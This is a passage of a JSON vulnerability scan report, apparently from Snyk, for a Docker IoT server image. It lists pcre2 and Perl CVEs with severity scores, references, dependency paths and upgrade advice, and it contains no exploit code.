{
"vulnerabilities": [
{
"id": "SNYK-DEBIAN12-PCRE2-19685519",
"cpes": [],
"title": "Integer Overflow or Wraparound",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"<10.42-1+deb12u1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"10.42-1+deb12u1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.4,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-89157",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-89157"
},
{
"url": "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48",
"title": "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48"
},
{
"url": "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9",
"title": "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-09-17T01:30:43.018395Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L",
"cvssV3BaseScore": 5.7,
"modificationTime": "2026-09-12T06:07:46.857038Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 8.1,
"modificationTime": "2026-09-18T11:06:09.698583Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-09-17T01:30:43.018395Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-12T06:07:46.857038Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 8.1,
"cvssVersion": "3.1",
"modificationTime": "2026-09-18T11:06:09.698583Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `pcre2` package and not the `pcre2` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nPCRE2 before 10.48, on 32-bit platforms, has a pcre2_pattern_convert out-of-bounds write when an attacker can provide a large pattern.\n## Remediation\nUpgrade `Debian:12` `pcre2` to version 10.42-1+deb12u1 or higher.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-89157](https://security-tracker.debian.org/tracker/CVE-2026-89157)\n- [https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48](https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48)\n- [https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9](https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9)\n",
"epssDetails": {
"percentile": "0.18076",
"probability": "0.00278",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-89157"
],
"CWE": [
"CWE-190"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "pcre2",
"creationTime": "2026-09-11T15:34:23.601644Z",
"disclosureTime": "2026-09-11T04:18:03.753000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-11T15:34:23.604811Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:46:05.406214Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"pcre2/libpcre2-8-0@10.42-1"
],
"upgradePath": [
false,
"pcre2/libpcre2-8-0@10.42-1+deb12u1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "pcre2/libpcre2-8-0",
"version": "10.42-1",
"nearestFixedInVersion": "10.42-1+deb12u1"
},
{
"id": "SNYK-DEBIAN12-PCRE2-19685535",
"cpes": [],
"title": "Free of Memory not on the Heap",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"<10.42-1+deb12u1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"10.42-1+deb12u1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-89161",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-89161"
},
{
"url": "https://github.com/PCRE2Project/pcre2/pull/937",
"title": "https://github.com/PCRE2Project/pcre2/pull/937"
},
{
"url": "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48",
"title": "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-17T01:30:42.876297Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-09-12T06:07:51.962108Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-18T11:06:26.133426Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-17T01:30:42.876297Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-09-12T06:07:51.962108Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-18T11:06:26.133426Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `pcre2` package and not the `pcre2` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nIn PCRE2 before 10.48, pcre2_jit_match mishandles a previously copied subject being passed in as a context. An incorrect free operation can occur.\n## Remediation\nUpgrade `Debian:12` `pcre2` to version 10.42-1+deb12u1 or higher.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-89161](https://security-tracker.debian.org/tracker/CVE-2026-89161)\n- [https://github.com/PCRE2Project/pcre2/pull/937](https://github.com/PCRE2Project/pcre2/pull/937)\n- [https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48](https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48)\n",
"epssDetails": {
"percentile": "0.01943",
"probability": "0.00126",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-89161"
],
"CWE": [
"CWE-590"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "pcre2",
"creationTime": "2026-09-11T15:35:20.120746Z",
"disclosureTime": "2026-09-11T04:18:04.470000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-11T15:35:20.128393Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:46:05.662635Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"pcre2/libpcre2-8-0@10.42-1"
],
"upgradePath": [
false,
"pcre2/libpcre2-8-0@10.42-1+deb12u1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "pcre2/libpcre2-8-0",
"version": "10.42-1",
"nearestFixedInVersion": "10.42-1+deb12u1"
},
{
"id": "SNYK-DEBIAN12-PCRE2-19685519",
"cpes": [],
"title": "Integer Overflow or Wraparound",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"<10.42-1+deb12u1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"10.42-1+deb12u1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.4,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-89157",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-89157"
},
{
"url": "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48",
"title": "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48"
},
{
"url": "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9",
"title": "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-09-17T01:30:43.018395Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L",
"cvssV3BaseScore": 5.7,
"modificationTime": "2026-09-12T06:07:46.857038Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 8.1,
"modificationTime": "2026-09-18T11:06:09.698583Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-09-17T01:30:43.018395Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-12T06:07:46.857038Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 8.1,
"cvssVersion": "3.1",
"modificationTime": "2026-09-18T11:06:09.698583Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `pcre2` package and not the `pcre2` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nPCRE2 before 10.48, on 32-bit platforms, has a pcre2_pattern_convert out-of-bounds write when an attacker can provide a large pattern.\n## Remediation\nUpgrade `Debian:12` `pcre2` to version 10.42-1+deb12u1 or higher.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-89157](https://security-tracker.debian.org/tracker/CVE-2026-89157)\n- [https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48](https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48)\n- [https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9](https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9)\n",
"epssDetails": {
"percentile": "0.18076",
"probability": "0.00278",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-89157"
],
"CWE": [
"CWE-190"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "pcre2",
"creationTime": "2026-09-11T15:34:23.601644Z",
"disclosureTime": "2026-09-11T04:18:03.753000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-11T15:34:23.604811Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:46:05.406214Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"grep@3.8-5",
"pcre2/libpcre2-8-0@10.42-1"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "pcre2/libpcre2-8-0",
"version": "10.42-1",
"nearestFixedInVersion": "10.42-1+deb12u1"
},
{
"id": "SNYK-DEBIAN12-PCRE2-19685535",
"cpes": [],
"title": "Free of Memory not on the Heap",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"<10.42-1+deb12u1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"10.42-1+deb12u1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-89161",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-89161"
},
{
"url": "https://github.com/PCRE2Project/pcre2/pull/937",
"title": "https://github.com/PCRE2Project/pcre2/pull/937"
},
{
"url": "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48",
"title": "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-17T01:30:42.876297Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-09-12T06:07:51.962108Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-18T11:06:26.133426Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-17T01:30:42.876297Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-09-12T06:07:51.962108Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-18T11:06:26.133426Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `pcre2` package and not the `pcre2` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nIn PCRE2 before 10.48, pcre2_jit_match mishandles a previously copied subject being passed in as a context. An incorrect free operation can occur.\n## Remediation\nUpgrade `Debian:12` `pcre2` to version 10.42-1+deb12u1 or higher.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-89161](https://security-tracker.debian.org/tracker/CVE-2026-89161)\n- [https://github.com/PCRE2Project/pcre2/pull/937](https://github.com/PCRE2Project/pcre2/pull/937)\n- [https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48](https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48)\n",
"epssDetails": {
"percentile": "0.01943",
"probability": "0.00126",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-89161"
],
"CWE": [
"CWE-590"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "pcre2",
"creationTime": "2026-09-11T15:35:20.120746Z",
"disclosureTime": "2026-09-11T04:18:04.470000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-11T15:35:20.128393Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:46:05.662635Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"grep@3.8-5",
"pcre2/libpcre2-8-0@10.42-1"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "pcre2/libpcre2-8-0",
"version": "10.42-1",
"nearestFixedInVersion": "10.42-1+deb12u1"
},
{
"id": "SNYK-DEBIAN12-PCRE2-19685519",
"cpes": [],
"title": "Integer Overflow or Wraparound",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"<10.42-1+deb12u1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"10.42-1+deb12u1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.4,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-89157",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-89157"
},
{
"url": "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48",
"title": "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48"
},
{
"url": "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9",
"title": "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-09-17T01:30:43.018395Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L",
"cvssV3BaseScore": 5.7,
"modificationTime": "2026-09-12T06:07:46.857038Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 8.1,
"modificationTime": "2026-09-18T11:06:09.698583Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-09-17T01:30:43.018395Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-12T06:07:46.857038Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 8.1,
"cvssVersion": "3.1",
"modificationTime": "2026-09-18T11:06:09.698583Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `pcre2` package and not the `pcre2` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nPCRE2 before 10.48, on 32-bit platforms, has a pcre2_pattern_convert out-of-bounds write when an attacker can provide a large pattern.\n## Remediation\nUpgrade `Debian:12` `pcre2` to version 10.42-1+deb12u1 or higher.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-89157](https://security-tracker.debian.org/tracker/CVE-2026-89157)\n- [https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48](https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48)\n- [https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9](https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9)\n",
"epssDetails": {
"percentile": "0.18076",
"probability": "0.00278",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-89157"
],
"CWE": [
"CWE-190"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "pcre2",
"creationTime": "2026-09-11T15:34:23.601644Z",
"disclosureTime": "2026-09-11T04:18:03.753000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-11T15:34:23.604811Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:46:05.406214Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"adduser@3.134",
"shadow/passwd@1:4.13+dfsg1-1+deb12u2",
"libselinux/libselinux1@3.4-1+b6",
"pcre2/libpcre2-8-0@10.42-1"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "pcre2/libpcre2-8-0",
"version": "10.42-1",
"nearestFixedInVersion": "10.42-1+deb12u1"
},
{
"id": "SNYK-DEBIAN12-PCRE2-19685535",
"cpes": [],
"title": "Free of Memory not on the Heap",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"<10.42-1+deb12u1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"10.42-1+deb12u1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-89161",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-89161"
},
{
"url": "https://github.com/PCRE2Project/pcre2/pull/937",
"title": "https://github.com/PCRE2Project/pcre2/pull/937"
},
{
"url": "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48",
"title": "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-17T01:30:42.876297Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-09-12T06:07:51.962108Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-18T11:06:26.133426Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-17T01:30:42.876297Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-09-12T06:07:51.962108Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-18T11:06:26.133426Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `pcre2` package and not the `pcre2` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nIn PCRE2 before 10.48, pcre2_jit_match mishandles a previously copied subject being passed in as a context. An incorrect free operation can occur.\n## Remediation\nUpgrade `Debian:12` `pcre2` to version 10.42-1+deb12u1 or higher.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-89161](https://security-tracker.debian.org/tracker/CVE-2026-89161)\n- [https://github.com/PCRE2Project/pcre2/pull/937](https://github.com/PCRE2Project/pcre2/pull/937)\n- [https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48](https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48)\n",
"epssDetails": {
"percentile": "0.01943",
"probability": "0.00126",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-89161"
],
"CWE": [
"CWE-590"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "pcre2",
"creationTime": "2026-09-11T15:35:20.120746Z",
"disclosureTime": "2026-09-11T04:18:04.470000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-11T15:35:20.128393Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:46:05.662635Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"adduser@3.134",
"shadow/passwd@1:4.13+dfsg1-1+deb12u2",
"libselinux/libselinux1@3.4-1+b6",
"pcre2/libpcre2-8-0@10.42-1"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "pcre2/libpcre2-8-0",
"version": "10.42-1",
"nearestFixedInVersion": "10.42-1+deb12u1"
},
{
"id": "SNYK-DEBIAN12-PERL-16896235",
"cpes": [],
"title": "CVE-2026-8376",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"<5.36.0-7+deb12u4"
]
},
"exploit": "Not Defined",
"fixedIn": [
"5.36.0-7+deb12u4"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "critical",
"cvssScore": 9.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-8376",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-8376"
},
{
"url": "https://github.com/Perl/perl5/commit/5e7f119eb2bb1181be908701f22bf7068e722f1c.patch",
"title": "https://github.com/Perl/perl5/commit/5e7f119eb2bb1181be908701f22bf7068e722f1c.patch"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/05/26/1",
"title": "http://www.openwall.com/lists/oss-security/2026/05/26/1"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 9.8,
"modificationTime": "2026-05-28T01:14:54.805456Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H",
"cvssV3BaseScore": 5.7,
"modificationTime": "2026-07-02T07:47:08.536732Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H",
"cvssV3BaseScore": 5.7,
"modificationTime": "2026-07-28T11:06:58.531635Z"
}
],
"cvssSources": [
{
"type": "primary",
